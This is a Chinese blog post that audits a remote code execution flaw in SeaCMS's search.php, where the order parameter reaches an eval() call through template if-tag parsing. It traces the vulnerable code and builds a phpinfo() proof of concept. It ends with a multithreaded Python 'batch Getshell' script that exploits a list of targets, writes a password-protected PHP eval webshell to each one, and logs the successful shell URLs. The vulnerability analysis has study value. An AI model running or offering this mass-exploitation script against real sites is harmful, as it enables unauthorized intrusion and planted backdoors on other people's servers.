前言
昨晚审计到了三点,今天还要整理宿舍就没有写文章。这个CMS没有用框架,漏洞的执行过程我看了很久才看完,下面就写漏洞执行过程和POC构造还有用Python编写批量Getshell脚本。
环境
Web: phpstudy System: Windows 10 X64 Browser: Firefox Quantum Python version : 2.7
漏洞代码执行过程分析
先看一下这个代码是一个怎么执行的吧,我画了一个流程图,有点简陋,不过如果真的要深入了解一定要亲自去看一遍代码才行。
漏洞详情
漏洞代码执行
Payload代码
http://seacms.test/search.php
POST:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
执行结果
分析过程
- 漏洞的触发点是在
search.php
中的echoSearchPage()
函数可以触发漏洞。常规的分析都是先找GET
、POST
的位置,在这个文件里面没有这些变量,原来是在./include/common.php
里面。
if(PHP_VERSION < '4.1.0') {
$_GET = &$HTTP_GET_VARS;
$_POST = &$HTTP_POST_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_ENV = &$HTTP_ENV_VARS;
$_FILES = &$HTTP_POST_FILES;
}
......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
所以Payload用GET还是POST都是可以的。
- 由于代码太多就例举主要的代码段分析,继续回到
search.php
里面的echoSearchPage()
函数。 第一句是把这些变量设置为全局变量,方便下面来传值。 第二句是判断$order
是否为空,如果为空就把time
赋值给$order。
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
$order = !empty($order)?$order:time;
- 这段是
Payload
的里面一个重要的参数$searchtype
的代码,一定要赋值5
,可以到看到等于5
的时候就有$order
变量,所以我们要传$order
进去就赋值5
,至于为什么要赋值给$order
,先跟着代码执行下去自然就会明白了。 这里还有一个点,就是第四行的$pSize
这里是选择模版文件,就是为了接下来使用str_replace
函数对这个模版文件的内容进行替换。 替换内容的文件在\data\cache
里面,下面是文件的位置。
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
$typeStr = !empty($tid)?intval($tid).'_':'0_';
$yearStr = !empty($year)?PinYin($year).'_':'0_';
$letterStr = !empty($letter)?$letter.'_':'0_';
$areaStr = !empty($area)?PinYin($area).'_':'0_';
$orderStr = !empty($order)?$order.'_':'0_';
$jqStr = !empty($jq)?$jq.'_':'0_';
$cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
$pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
}else
{
if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
$cacheName="parse_search_";
$pSize = getPageSizeOnCache($searchTemplatePath,"search","");
}
。。。。。。。中间有很多代码就不一一分析中间的了。
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
- 来到这里了,离构造POC又进一步了。我们只要的是看
parseIf
这个函数,在此之前我们可以先用echo
来输出一下$content
的内容,下面是对比图:
$content=$mainClassObj->parseIf($content);
$content=str_replace("{seacms:member}",front_member(),$content);
$searchPageStr = $content;
echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
- 下面我们继续跟进
parseIf
这个函数,代码我就贴执行代码漏洞的地方。代码中用到一些不懂函数可以去PHP官网或者百度Google一下。$labelRule*
这些变量都是规则,preg_match_all
函数就用到了第一个规则{if:(.*?)}(.*?){end if}
。 有很多新手估计要看很久才能看得懂这段正则,我在这里稍微解释一下,{if:(.?)}(.?){end if},除了加粗部分是一定要符合{if:}{end if},中间的(.*?)
是用了贪婪的模式,它把匹配到的赋值到一个数组$iar
里面,大家可以输入一下这个数组:
大家发现了吗,变量$order
的值也在里面,所以我们为什么要用order
这个函数写入要执行的代码了。 来看这一句if (strpos($strThen,$labelRule2)===false){
判断strpos
返回是否为假就执行下面的代码,我们来输出下$strThen
到底有没有这个$labelRule2
变量的内容。 可以看到是没有的,所以会执行下面的代码,if (strpos($strThen,$labelRule3)>=0){
这个判断从上面输出就可以看到有这个内容,所以为真执行下面的代码。 下面三句代码就不用看了,因为重要的是@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
里面的$strIf
变量也就是数组$iar[1]数组$iar[1]
里面的内容。我们继续输出一下这个数组里面的内容。 这里可以看出eval
执行的变量是$strIf
,而$strIf
又有$order
,所以这里又再一次解释为什么要用order
参数
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
构造POC
又到构造POC这一步骤了,经过上面的分析,我们可以很清晰地构造出POC了。
{if:"{searchpage:ordername}"=="time"}
替换模版文件里面内容
{if:(.*?)}(.*?){end if}
匹配规则
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}")
代码执行
我们传入的order
要放在{searchpage:ordername}
这里,所以我们要闭合前面的标签,}{end if}
这句就可以闭合前面的标签, 为什么要闭合,因为程序的{if:}{end if}
也是会解析成PHP的代码,如果不闭合就会出错不执行我们的代码。
过了这一关后,就到匹配规则了,只要符合{if:}{end if}
就行了。我们要在{if:(.*?)}
里面的(.*?)
才会传入$strIf
变量,继续看下面。
最后一关就是闭合if(".$strIf.")
,加入这一句1)phpinfo();if(1
就OK了
代码执行的结果就是@eval("if(1)phpinfo();if(1){\$ifFlag=true;}else{\$ifFlag=false;}")
所以我们的POC就是}{end if} {if:1)phpinfo();if(1}{end if}
用Python编写批量Getshell脚本
用了多线程,可以指定单目标或者批量。
'''
author:F0rmat
'''
import sys
import requests
import threading
def exploit(target):
if sys.argv[1]== "-f":
target=target[0]
url=target+"/search.php"
payload = {"searchtype":5,"order":"}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}","func":"assert","cmd":"fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"}
shell = target+'/shell.php'
try:
r=requests.post(url,data=payload)
verify = requests.get(shell, timeout=3)
if "f0rmat" in verify.content:
print 'Write success,shell url:',shell,'pass:f0rmat'
with open("success.txt","a+") as f:
f.write(shell+' pass:f0rmat'+"\n")
else:
print target,'Write failure!'
except Exception, e:
print e
def main():
if len(sys.argv)<3:
print 'python check_order.py.py -h target/-f target-file'
else:
if sys.argv[1] == "-h":
exploit(sys.argv[2])
elif sys.argv[1] == "-f":
with open(sys.argv[2], "r") as f:
b = f.readlines()
for i in xrange(len(b)):
if not b[i] == "\n":
threading.Thread(target=exploit, args=(b[i].split(),)).start()
if __name__ == '__main__':
main()
结束
审计这个洞,真的累,可能就是因为太菜了吧,哈哈。
参考
源码下载地址:https://pan.lanzou.com/i0l0leb
http://blog.csdn.net/pygain/article/details/56016227
https://github.com/F0r3at/Python-Tools/tree/master/seacms
http://0day5.com/archives/4249/
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/seacms-v6.45-front-desk-getshell-code-execution-vulnerability-one-hole-a-day.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。